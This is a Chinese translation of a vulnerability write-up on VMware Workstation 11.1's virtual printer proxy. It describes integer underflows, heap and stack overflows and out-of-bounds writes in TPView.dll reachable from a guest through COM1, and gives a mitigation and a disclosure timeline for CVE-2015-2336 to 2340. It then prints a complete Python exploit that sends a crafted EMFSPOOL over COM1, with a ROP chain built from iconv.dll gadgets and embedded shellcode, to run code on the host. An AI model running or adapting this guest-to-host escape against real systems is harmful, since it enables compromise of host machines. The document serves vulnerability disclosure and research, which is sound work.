综述 VMware Workstation提供打印机“虚拟化”功能,在打印机上,允许一Guest系统访问并打印文档(方便了Host系统)。在VMware Workstation 11.1上,虚拟打印机设备默认添加到新VMs,且在最近的 Windows Hosts上,Microsoft XPS Document Writer作为一默认打印机。即使VMware Tools没被安装在Guest中,COM1端口也可以被用于与Host的打印Proxy交互。 在Host上通过vmware-vmx.exe启动vprintproxy.exe(用户开启VMware)。vmware-vmx.exe 和 vprintproxy.exe通过命名管道进行通信。当在Guest中写到COM1时,报文将止于vprintproxy.exe以进行处理。 我将不介绍完协议的细节,但是打印机的虚拟化层是一很棒的文件(从Guest到Host进行EMFSPOOL文件的复制操作)。EMFSPOOL和含有的EMF1文件在Host上通过vprintproxy.exe进行处理,这都归因于Host上TPView.dll的存在。将特定设计的EMFSPOOL和EMF files提供给COM1,该过程中可在vprintproxy.exe进程的触发多种bug,并在Host上实现代码执行 适用环境 该文档描述的内容都在该环境进行:Host方是一amd64 Windows 8.1,Guest方是一x86 的Windows 7(在VMware Workstation 11.1下运行),装上了所有补丁。 提供的所有利用程序在该独有环境都能正常工作。 处理自定义EMR时导致整数下溢 在TPView.dll中的CTPViewDoc::WriteEMF 函数预处理一EMF并重写它,被替换为几个自定义EMR记录类型。在0x8000和0x8002的 EMR案例中,程序将分配内存(基于特定记录的大小),然后复制记录的8字节,大小减去8并从文件中读进已动态分配的buffer(总字节数) 因为一EMR记录大小严肃来说应该小于8,做减法处理将发生下溢并导致堆溢出。
这小段代码不能确保记录的大小(至少8)。在(1)上发生整数下溢将使程序将大量字节读进一小buffer,导致堆溢出。 一部分看似有弱点的代码处理自定义EMR 0x8000. 处理自定义EMR 0x8002时存在多个弱点 在自定义EMR 记录0x8002案例中,TPView.dll盲目相信相关结构体的大小和偏移并进行了不安全的memcpy()操作。
这里,esi和ebx的内容都 由用户控制,并与一自定义0x8002 EMR结构体的内容相对应。为ebx分配的内存大小(至少0x50)没有被检查。这构成了导致堆溢出发生的条件,也导致相对内存地址覆盖的发生 当处理自定义EMR0x8000时,存在多个弱点 自定义EMR 0x8000持有一结构体(描述一被压缩镜像的JPEG2000)。在计算一动态分配的内存块大小时,存在多个整型溢出问题,使之满足了导致堆溢出的条件
该程序进行了不安全的32位逻辑操作,导致在memcpy()操作前进行了一无效的大小检查,从而导致堆溢出。由于前一次逻辑操作,内存检查分配的大小是其本身(易于重叠),如下附加内容也可能重叠32位整数:
在处理一JPEG2000链接库时发生栈溢出 该弱点显然很像CVE-2012-0897 ,且相同JPEG2000库被使用于两种不同案例是再好不过的事,但是TPView.dll未打补丁的情况已持续了多年。总之,在处理记录0xff5c时,某用户在某函数中可触发基于栈的缓冲区溢出弱点(没有stack cookie保护),导致可直接控制EIP。
这里,当目标buffer仅持有至多0xc4字节时,JPEG2000解析器将仅读取0x55fc(记录允许其)大小的字。 在EMF记录枚举回调中存在多个弱点 CEMF::EnhMetaFileProc 函数在TPView.dll被使用为一EnumEnhMetaFile 回调,并在对它们进行“playing”操作前将一些特定处理操作应用于多种不同的EMR类型。那些记录都缺少检查从而导致多个越界读或写操作弱点。
如上所示: 传送操作前,在结构体区域,EMR_SMALLTEXTOUT的记录长度(至少0x34)没有被检查。
这里因为一EMR_EXTTEXTOUTW记录存在相同的问题。
在EMFSPOOL文件中提取一种TrueType字体时, TPView.dll将会检验字体的校验和(在进行更多处理前)。这样做,将遍历多个表,清空表末尾的缓冲并校验表的校验和。在这情况下,将信任表记录的‘offset’区域并将其添加到一字体buffer指针。因为32位逻辑段重叠,所以没有什么可以阻止我们的解引用及将内存清零(字体前)的操作
以上检查可用一“negative”偏移绕过,导致结果如下:
结果,只要它被定位前,在任意字体buffer的相对位置上都可能将1清零为3字节(缓冲大小) 额外安全问题 当在一64位平台上运行时,vprintproxy.exe只是作为一32位进程来运行。在vprintproxy.exe内不支持ASLR机制的加载模块有: iconv.dll TPClnt.dll TPClntloc.dll TPClnVM.dll TPView.dll 因为以上DLLs共享相同的镜像基地址(0x10000000),只是iconv,dll(首个被加载)将被定位于他的地址上。其它DLLs基地址将被随机化,因为它们的初始加载地址难以获得。 同时JPEG2000在一try-catch内(捕获所有异常)完成解析。这将允许攻击者用他的方法强行利用成功,因为vprintproxy.exe将持续存活甚至是access violation也不崩掉 缓解方案 让虚拟打印机“Disconnect”,或在VM设置中将它完全移除,这行为可让vprintproxy.exe停止运行 时间轴 3/5/2015: initial report sent to security@vmware.com 3/6/2015: VMware Security Response Center acknowledges the receipt of the report 3/12/2015: updated report sent 3/17/2015: VSRC sends the expected timeframe for fixes to be released 3/17/2015: updated report sent 3/18/2015: additional bugs sent to VSRC 4/10/2015: VMware communicates expected date for joint disclosure (6/9) 4/21/2015: VMware assigns 5 CVEs to the issues (CVE-2015-2336 to 2340) 6/9/2015: VMware releases Workstation 11.1.1 for Windows and VMSA-2015-0004 利用程序 提供的利用程序可在vprintproxy.exe进程中实现代码执行(在Host上运行),通过COM1(在Guest中)以发送一段精心制作的EMFSPOOL的方式触发JPEG2000栈溢出弱点,这种实现不需要管理员特权(在Guest中)。 只有构造一基于iconv.dll的ROP链有难度,因为该DLL实现该目的相当不便 利用程序适用于1.9.0.1版的iconv.dll和8.8.856.1的TPview.dll,但是因为异常被JPEG2000解析程序捕获,所以可通过多次尝试让目标(弱点程序)符合要求 [Java] 纯文本查看 复制代码 from ctypes import *
from ctypes.wintypes import BYTE
from ctypes.wintypes import WORD
from ctypes.wintypes import DWORD
import sys
import struct
import binascii
import array
import zlib
class DCB(Structure):
_fields_=[
('DCBlength',DWORD),
('BaudRate',DWORD),
('fBinary',DWORD,1),
('fParity',DWORD,1),
('fOutxCtsFlow',DWORD,1),
('fOutxDsrFlow',DWORD,1),
('fDtrControl',DWORD,2),
('fDsrSensitivity',DWORD,1),
('fTXContinueOnXoff',DWORD,1),
('fOutX',DWORD,1),
('fInX',DWORD,1),
('fErrorChar',DWORD,1),
('fNull',DWORD,1),
('fRtsControl',DWORD,2),
('fAbortOnError',DWORD,1),
('fDummy2',DWORD,17),
('wReserved',WORD),
('XonLim',WORD),
('XoffLim',WORD),
('ByteSize',BYTE),
('Parity',BYTE),
('StopBits',BYTE),
('XonChar',c_char),
('XoffChar',c_char),
('ErrorChar',c_char),
('EofChar',c_char),
('EvtChar',c_char),
('wReserved1',WORD),
]
class COMMTIMEOUTS(Structure):
_fields_=[
('ReadIntervalTimeout',DWORD),
('ReadTotalTimeoutMultiplier',DWORD),
('ReadTotalTimeoutConstant',DWORD),
('WriteTotalTimeoutMultiplier',DWORD),
('WriteTotalTimeoutConstant',DWORD),
]
class TPVM:
SERIAL_PORT=b'\\\\.\\COM1'
def __init__(self):
self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
0xc0000000, #GENERIC_READ|GENERIC_WRITE
3, #FILE_SHARE_READ|FILE_SHARE_WRITE
None,
3, #OPEN_EXISTING
0,
None)
if (self.hPort&0xffffffff)==0xffffffff:
raise Exception('the serial port could not be opened (0x%08x)'%(GetLastError()))
if not windll.kernel32.SetupComm(self.hPort,
0x20000,
0x84d0):
raise WinError()
dcb=DCB()
dcb.DCBlength=0x1c
dcb.BaudRate=0x1C200
dcb.fBinary=1
dcb.fOutxCtsFlow=1
dcb.fDtrControl=2
dcb.fRtsControl=2
dcb.ByteSize=8
dcb.fAbortOnError=1
windll.kernel32.SetCommState(self.hPort,
byref(dcb))
commtimeouts=COMMTIMEOUTS()
commtimeouts.ReadIntervalTimeout=0
commtimeouts.ReadTotalTimeoutMultiplier=0
commtimeouts.ReadTotalTimeoutConstant=20000
commtimeouts.WriteTotalTimeoutMultiplier=0
commtimeouts.WriteTotalTimeoutConstant=20000
if not windll.kernel32.SetCommTimeouts(self.hPort,
byref(commtimeouts)):
raise WinError()
def __write_packet(self,buffer):
bytesWritten=DWORD(0)
if not windll.kernel32.WriteFile(self.hPort,
buffer,
len(buffer),
byref(bytesWritten),
None):
raise WinError()
print('%d bytes written'%(bytesWritten.value))
def __read_packet(self,n):
buffer=c_buffer(n)
bytesRead=DWORD(0)
if not windll.kernel32.ReadFile(self.hPort,
buffer,
n,
byref(bytesRead),
None):
raise WinError()
print('%d bytes read'%(bytesRead.value))
return buffer.raw
def __write(self,buffer):
while len(buffer)!=0:
n=min(len(buffer),0x7ffd)
self.__write_packet(struct.pack('<H',n)+buffer[:n])
buffer=buffer[n:]
def __read_1byte(self):
b=self.__read_packet(1)
if len(b)!=1:
return 1
return struct.unpack('<B',b)[0]
def do_command(self,cmd):
self.__write_packet(struct.pack('<H',cmd))
if cmd==0x8002:
return 0
return self.__read_1byte()
def do_data(self,d):
self.__write(d)
return self.__read_1byte()
def close(self):
windll.kernel32.CloseHandle(self.hPort)
def main(args):
#some constants
PRINTER_ID=1 #should probably be an argument really
SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d88b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c0740883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00ea6f0000945d0300000000000000000063616c632e65786500') #Didier Stevens' winexec/exitthread
WRITABLE=0x1010ff00 #end of the .idata section of iconv.dll
BASE=0x40000000 #where we want the virtualalloc
t=TPVM()
t.do_command(0x8001)
#header
t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
#jobheader
t.do_data(binascii.a2b_hex('310001001400150016001700180021002f0030000000000063727970746f61640050494e42414c4c57495a415244000000'))
###############
#emf
emf=b''
#emr_header
emf+=struct.pack('<II',1,0x84)
emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855) #bounds
emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc) #frame
emf+=b' EMF' #record signature
emf+=struct.pack('<I',0x10000) #version
emf+=struct.pack('<IIHH',0,0,0,0) #bytes,records,handles,reserved
emf+=struct.pack('<II',0xc,0x6c) #ndescription,offdescription
emf+=struct.pack('<I',0) #npalentries
emf+=struct.pack('<II',0x13ec,0x19c8) #device
emf+=struct.pack('<II',0xd7,0x117) #millimeters
emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
emf+=struct.pack('<II',0x347d8,0x441d8) #micrometersx,micrometersy
emf+=('\0'*0xc).encode('utf-16le')
#overflowing buffer
o=b''
o+=struct.pack('<I',0x1001c94c) #mov eax,edx&retn
o+=struct.pack('<I',0x10110284) #target --.idata!_iob_func
o+=struct.pack('<I',0x1001c594) #value --pop ecx&pop ecx&retn
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1000cb5c) #dec eax&retn
o+=struct.pack('<I',0x10003d43) #add [eax+1],edi&mov esp,ebp&pop ebp&retn
o+=struct.pack('<I',0x10001116) #pop ebp&retn
o+=struct.pack('<I',WRITABLE-8)
o+=struct.pack('<I',0x1001c120) #mov eax,[ebp+8]&pop ebp&retn
o+=struct.pack('<I',0x41414141) #
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c1fc) #mov eax,[eax]&mov [esp],eax&retn
o+=struct.pack('<I',0x42424242) #
o+=struct.pack('<I',0x1001c7d6) #pop edi&pop esi&retn
o+=struct.pack('<I',BASE)
o+=struct.pack('<I',0x10000)
o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
o+=struct.pack('<I',BASE+0x10) #edi
o+=struct.pack('<I',0x43434343) #esi --not used
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE) #
o+=struct.pack('<I',0x8b24438b) #
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE+4) #
o+=struct.pack('<I',0xa4f21470) #
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',BASE+8) #
o+=struct.pack('<I',0x01f3e9) #mov eax,[ebx+0x24]&mov esi,[eax+0x14]&jmp +0x13f
o+=struct.pack('<I',0x1000) #ecx
o+=struct.pack('<I',BASE) #
###print('len(o)=0x%08x'%(len(o))) #must be <0xc4
o+=b'A'*(0xc4-len(o))
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange --first eip
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',WRITABLE) #target
o+=struct.pack('<I',0x000000f4) #value --esp offset
o+=struct.pack('<I',WRITABLE) #writable --edx
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',0x7fffffff) #
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
o+=struct.pack('<I',WRITABLE) #target
o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
while (len(o)-2)%6!=0: #padding to satisfy length requirements
o+=b'Z'
#jp2 contents --the code still parses the codestream if no valid header is present, so I skipped it
j=b''
j+=struct.pack('>H',0xff4f) #SOC marker
j+=struct.pack('>HH',0xff51,0x29) #SIZ marker
j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
j+=struct.pack('>HBBB',1,7,1,1)
j+=struct.pack('>HH',0xff5c,3+len(o)) #QCD marker
j+=struct.pack('>B',2) #sqcd
for i in range(0,len(o),2): #switch the endianness of the words
j+=struct.pack('>H',(o[i+1]<<8)+o[i])
j+=struct.pack('>H',0xffd9) #EOC marker
j+=b'\x90'*(0x200-len(j)) #unprocessed data
j+=SHELLCODE
j+=b'\xcc'*(0x10000-len(j)) #has to be at least 10000h long to avoid a read AV
#custom 8000h record
r=b''
r+=b'A'*0x28
r+=struct.pack('<I',0x50)
r+=b'B'*0x1c
r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
r+=b'E'*0x18
r+=j
emf+=struct.pack('<II',0x8000,len(r)+8)+r #type,size
#emr_eof
emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf[0x3a:]
#devmode
dm=binascii.a2b_hex('7000720069006e00740065007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040005dc0008040fff010001000100de0a66086400010007005802020001005802010001004c006500740074006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545045580f020000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005450504405000000')
dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
#emf_spool
h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
h=struct.pack('<II',0x10000,len(h))+h
#emri_metafile_ext
f=struct.pack('<IIII',0xd,8,len(emf)+8,0) #"offset is counted backward"
e=dm+h+emf+f
d=zlib.compress(e,9)
d=struct.pack('<II',len(d),len(e))+d
d=struct.pack('<H',0)+d
###############
t.do_data(d)
t.do_command(0x8002)
t.close()
if __name__=='__main__':
main(sys.argv)
原文链接:https://docs.google.com/document/d/1sIYgqrytPK-CFWfqDntraA_Fwi2Ov-YBgMtl5hdrYd4/
|